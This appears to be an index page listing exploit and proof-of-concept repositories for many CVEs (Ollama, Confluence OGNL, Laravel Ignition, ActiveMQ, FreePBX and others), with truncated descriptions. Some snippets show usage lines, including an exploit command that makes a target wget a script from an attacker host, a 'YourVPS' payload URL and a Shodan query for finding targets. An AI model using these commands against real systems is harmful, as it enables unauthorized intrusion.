CVE-2024-37032

CVE-2024-37032 Path traversal en Ollama con servidor de registro malicioso Aprende de Probllama: Vulnerabilidad de ejecución remota de código en Ollama CVE-2024-37032 – Descripción general y mitigaciones Entorno de vulnerabilidad docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama...

Exploiting-Stagefright-Vulnerability-CVE-2015-3864

Exploiting-Stagefright-Vulnerability-CVE-2015-3864 Stagefright se refiere a un conjunto de fallos de software en las versiones de Android 2.2 "Froyo" hasta 5.1.1 "Lollipop", que afectaban al 95% de todos los teléfonos Android aún. Si la vulnerabilidad es explotada, un atacante puede usar ejecució...

CVE-2020-27955

Exploit de Ejecución Remota de Código RCE en Git-lfs CVE-2020-27955 versión .bat / powershell Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en Windows...

xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1

Controlador JDBC de SQLite SQLite JDBC es una biblioteca para acceder y crear archivos de base de datos SQLite en Java. Nuestra biblioteca SQLiteJDBC no requiere configuración, ya que las bibliotecas nativas para los principales sistemas operativos, incluyendo Windows, macOS, Linux, etc., están...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE Summary: This guide demonstrates how to chain two vulnerabilities in FreePBX 16 CVE-2025-57819 and CVE-2025-61678 to achieve a complete attack chain from unauthenticated access to Remote Code Execution RCE. Vulnerability / CVE Information CVE ID| Affected...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

PoC de Vulnerabilidad de Ejecución Remota de Código en Microsoft Outlook Este script presenta una prueba de concepto PoC para CVE-2024-21413, una falla de seguridad crítica identificada en Microsoft Outlook con una puntuación CVSS de 9.8. Denominado exploit MonikerLink, esta vulnerabilidad conlle...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — Laboratorio de Simulación de RCE Este laboratorio está diseñado para simular la vulnerabilidad CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE Se utiliza para aprender Web Shell Injection RCE a través del módulo modcopy de ProFTPD Características ProFTPD 1.3.5...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 es un framework web para desarrollar aplicaciones web Java EE. Apache Struts reveló el 8 de diciembre de 2020 la vulnerabilidad de ejecución remota de código S2-061 CVE-2020-17530 en Struts. Bajo ciertas condiciones, como al usar ciertos tags, puede existir una...

CVE-2021-3129

CVE-2021-3129 Exploit RCE de Laravel Ignition Este es un script de exploit en Python para CVE-2021-3129, una vulnerabilidad de ejecución remota de código en Laravel cuando el paquete Ignition está instalado. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios del sistema a...

confluence-ognl-rce

CVE-2022-26134 - Atlassian Confluence OGNL RCE Este script es un wrapper sobre una primitiva de explotación de ejecución remota de código no autenticada mediante inyección OGNL en Confluence Data Center y Server CVE-2022-26314. Aviso del proveedor Originalmente inspirado por el PoC...

libreofficeExploit1

Manual básico de generación de un exploit En esta entrada se verá cómo utilizar un fallo sencillo de un programa para conseguir abrir una puerta trasera en el sistema que utilice dicho programa. El fallo en cuestión viene definido en el CVE-2018-16858 perteneciente a la suite de ofimática...

CVE-2023-41425

RCE for WonderCMS 버전 v3.2.0 v3.4.2 WonderCMS 버전 v3.2.0 v3.4.2는 XSS 취약점이 있어 악의적인 공격자가 installModule CVE-2023-41425에 컴포넌트를 업로드하여 RCE를 달성할 수 있습니다 비밀번호를 알 필요 없음. 기능: CVE-2023-41425 자동 익스플로잇 zip 파일을 다운로드할 원격 호스트를 쉽게 지정 가능 사용법/예제 main.zip 파일을 다운로드할 원격 호스트 지정 ./exploit.py -u http://example.com/loginURL ...

CVE-2026-23744

CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...

CVE-2026-44402

CVE-2026-44402 Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1 Content Affected Vendor: https://voltronicpower.com/ Affected product: SNMP Web pro 1.1 SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. T...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

De-EternalBlue-a-CVE-2025-2776-La-Evolucion-de-un-Ataque-SMB Conmocionó al mundo en 2017 y ha evolucionado hasta el CVE‑2025‑2776 actual. Microsoft sigue confiando en SMBv1; este artículo explicará cómo los atacantes han ajustado la cadena desde un simple DLL hasta una pila completa de...

CVE-2023-46604

CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: product:"ActiveMQ" port:"61616" Tools Usage: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Remote Code Execution CVSS 9.8 Critical | Unsafe File Operations → Log Poisoning → Phar Deserialization → RCE Overview Laravel Ignition -c "whoami" References NVD — CVE-2021-3129 Ignition Patch 2.5.2...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Exploit para Apache OFBiz CVE-2024-38856 Por: Alisson Faoli Descripción Este repositorio contiene un exploit para la vulnerabilidad CVE-2024-38856 encontrada en Apache OFBiz. El fallo permite una RCE Ejecución Remota de Código sin autenticación. Nota: Este exploit se...

CVE-2022-26134-Confluence-RCE

Exploit for CVE-2022-26134: Confluence Pre-Auth Remote Code Execution via OGNL Injection Another exploit in OGNL Land Description Confluence is a web-based corporate wiki developed by Australian software company Atlassian. On June 02, 2022 Atlassian released a security advisory for their Confluen...